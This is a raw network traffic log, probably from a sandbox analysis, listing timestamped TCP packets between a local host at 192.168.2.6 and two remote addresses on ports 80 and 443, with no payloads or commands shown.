Nov 7, 2024 17:25:16.376415014 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.376418114 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.376432896 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.376472950 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.378026962 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.378119946 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.378134012 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.378149033 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.378164053 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.378180027 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.378192902 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.378207922 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.378222942 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.378222942 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.378222942 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.378251076 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.378443003 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.380981922 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.414493084 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.414521933 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.414536953 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.414552927 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.414567947 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.414658070 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.414665937 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.414680004 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.414705038 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.414715052 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.414729118 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.414746046 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.414746046 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.414746046 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.414802074 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.415179968 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.415244102 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.415261030 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.415293932 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.415303946 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.415513992 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.415527105 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.415541887 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.415556908 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.415585041 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.415597916 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.415900946 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.415951967 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.415999889 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.416059971 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.455487967 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.455504894 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.455519915 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.455611944 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.499725103 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.499772072 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.499784946 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.499794960 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.499825954 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.499835014 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.499840975 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.499861002 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.499876022 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.499891996 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.499891996 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.499946117 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.499946117 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.536218882 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.536263943 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.536278963 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.536309958 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.536385059 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.536398888 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.536413908 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.536413908 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.536413908 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.536427021 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.536437988 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.536484957 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.536484957 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.536604881 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.536618948 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.536633968 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.536653996 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.536688089 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.536859989 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.536897898 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.536911011 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.536923885 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.536956072 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.537030935 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.537045002 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.537059069 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.537074089 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.537087917 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.537089109 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.537101030 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.537676096 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.543387890 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.543400049 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.544995070 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.584929943 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.585014105 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.597126961 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.597143888 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.597227097 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.621491909 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.621556044 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.621567011 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.621582985 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.621602058 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.621614933 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.621629953 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.621630907 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.621646881 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.621670008 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.621690035 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.621709108 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.621709108 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.621709108 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.621741056 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.657937050 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.657949924 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.657973051 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.657995939 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.658010960 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.658024073 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.658072948 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.658107996 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.658348083 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.658401012 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.658528090 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.658540964 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.658559084 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.658584118 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.658615112 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.658736944 CET	443	49742	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.658957958 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.658972025 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.658987999 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.659001112 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.659015894 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.659029961 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.659039974 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.659039974 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.659044981 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.659082890 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.659096956 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.659096956 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.659116983 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.659595966 CET	49742	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.659617901 CET	443	49742	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.659883976 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.659899950 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.659914017 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.660032988 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.660032988 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.660150051 CET	49742	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.660156012 CET	443	49742	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.688760042 CET	443	49743	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.689002991 CET	443	49744	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.689507008 CET	49743	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.689537048 CET	443	49743	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.689960003 CET	49744	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.689980030 CET	443	49744	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.690006971 CET	49743	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.690015078 CET	443	49743	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.690479040 CET	49744	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:16.690484047 CET	443	49744	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:16.698880911 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.698894024 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.698906898 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.698921919 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.699050903 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.699050903 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.743318081 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.743385077 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.743398905 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.743412018 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.743580103 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.743591070 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.743604898 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.743618965 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.743657112 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.743697882 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.743880987 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.743894100 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.743908882 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.743922949 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:16.743928909 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:16.743978977 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.802808046 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.802829981 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.802841902 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.802853107 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.802865028 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.802877903 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.802947998 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.802959919 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.802969933 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.802980900 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803000927 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803013086 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803023100 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803035021 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803040981 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.803047895 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803060055 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803071022 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803081989 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803095102 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803210020 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.803212881 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803224087 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803291082 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803308964 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.803359985 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.803402901 CET	443	49742	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:17.803482056 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803493977 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803504944 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803513050 CET	443	49742	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:17.803544044 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.803544044 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.803559065 CET	443	49744	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:17.803565979 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.803587914 CET	443	49743	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:17.803601027 CET	49742	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:17.803611040 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803618908 CET	443	49744	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:17.803622961 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803628922 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803637028 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803653002 CET	443	49743	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:17.803689957 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803702116 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.803703070 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803714037 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803718090 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.803725004 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803724051 CET	49744	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:17.803730965 CET	49743	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:17.803738117 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803750038 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803767920 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.803767920 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.803813934 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.803869009 CET	49742	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:17.803888083 CET	443	49742	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:17.803903103 CET	49742	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:17.803909063 CET	443	49742	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:17.803925991 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.803946018 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804003000 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804013014 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804023027 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804024935 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.804033995 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804058075 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804069996 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804080009 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.804080963 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.804080963 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804092884 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804104090 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804122925 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.804147959 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.804163933 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.804217100 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804229021 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804239035 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804250956 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804263115 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804274082 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804286003 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804296970 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804307938 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804307938 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.804308891 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.804308891 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.804326057 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804331064 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.804362059 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.804385900 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.804414988 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804425955 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804436922 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804449081 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804461002 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804478884 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.804478884 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.804488897 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804517984 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.804517984 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.804590940 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804603100 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804613113 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804627895 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.804641962 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.804652929 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.804738045 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.805007935 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.805056095 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.805162907 CET	49743	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:17.805180073 CET	443	49743	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:17.805844069 CET	49744	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:17.805850029 CET	443	49744	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:17.805866003 CET	49744	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:17.805870056 CET	443	49744	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:17.807636976 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:17.807713985 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:17.808581114 CET	49747	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:17.808618069 CET	49748	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:17.808623075 CET	443	49747	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:17.808634996 CET	443	49748	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:17.808708906 CET	49747	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:17.808876991 CET	49748	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:17.808876991 CET	49747	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:17.808890104 CET	443	49747	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:17.808955908 CET	49748	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:17.808968067 CET	443	49748	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:17.809370995 CET	49749	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:17.809392929 CET	443	49749	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:17.809452057 CET	49749	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:17.809600115 CET	49749	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:17.809613943 CET	443	49749	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:18.067342997 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.067359924 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.067406893 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.067419052 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.067433119 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.067446947 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.067498922 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.067553997 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.067668915 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.067679882 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.067692041 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.067708969 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.067722082 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.067733049 CET	80	49715	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:18.067734003 CET	49715	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:18.067744970 CET	80	49715	95.215.204.182	192.168.2.6
